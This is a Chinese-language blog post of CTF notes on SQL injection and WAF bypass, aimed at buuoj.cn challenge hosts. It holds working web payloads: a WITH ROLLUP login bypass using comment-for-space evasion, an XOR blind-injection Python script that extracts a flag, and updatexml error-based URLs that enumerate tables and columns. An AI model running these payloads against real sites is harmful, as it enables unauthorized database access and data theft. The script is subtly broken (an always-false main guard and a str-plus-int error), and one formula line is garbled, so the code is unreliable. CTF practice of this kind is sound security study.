sql注入笔记

Waf从入门到Bypass

SQL注入文件读取通过from for分页读取

过滤单引号的时候可用。

在这里插入图片描述

rollwith up注入

这个是只过滤密码,不过滤用户输入的情况下。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

过滤密码而且过滤用户名

在这里插入图片描述

这里介绍两个mysql语句

group by

一、group by(将结果集中的数据行根据选择列的值进行逻辑分组)
不加group by时的输出如下:
在这里插入图片描述

加group by的时候
在这里插入图片描述

with rollup

(group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
来看实例:
在这里插入图片描述

其中password列为null,count(*)为统计和。
这里我们就可以通过骚姿势绕过了。

limit 1 offset 2 是需要不断测试,猜测出表中一共有几条数据,最后一条 pwd 的值为 null;

其中/**/是为了绕过空格过滤

payload:admin’/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/limit/**/1/**/offset/**/1#
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足 p a s s w o r d = = password== password==row[‘password’]的限制成功登陆。
登录成功即可显示flag。

异或盲注脚本

这东西和那个堆叠注入一样,就见过一次,从此再也没用过,但这次就用到了。用它可以起到代替or的作用。
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
但还有一些是没有用异或,用的是if,可if有局限性,在id为数字型时,可以直接 select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and。
在这里插入图片描述

import requests
from lxml import etree



def b():
    flag = ''
    url = 'http://8f33a0b7-0012-40cb-9aa9-2f462bdaad87.node3.buuoj.cn/index.php'

    text1 = 'Hello, glzjin wants a girlfriend.'

    for i in range(1,1290):
        print('*'*50,i,'*'*50)
        stop = 0
        for j in range(32,128):
            stop = j

            data = {"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" % (i, j)}
            #data = {"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" % (i, j)}
            # 如果第相等返回1,不等返回0
            re = requests.post(url=url,data=data).text.replace('\n','')
            # 返回文本
            html = etree.HTML(re).xpath("//text()")
            # 查找任意节点的文本
            if text1 in html:

                flag += chr(j)
                print("\n\t\t\t\t", flag)
                break

        if stop >= 128 :
            print('*'*50+i+'*'*50)
            print('flag',flag)
            break

if __name__=="__name__":
     b()

异或报错注入

过滤等号和空格

在这里插入图片描述

过滤了空格可以用括号绕过

过滤了等号可以用like绕过

http://b4dd23d6-1c5c-4653-a31d-e5fdc9f24cde.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))
),0x7e),1))%23&password=123

在这里插入图片描述
爆字段

http://b4dd23d6-1c5c-4653-a31d-e5fdc9f24cde.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_schema)like(database()))
),0x7e),1))%23&password=123

限制长度

left和right进行拼接
在这里插入图片描述
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值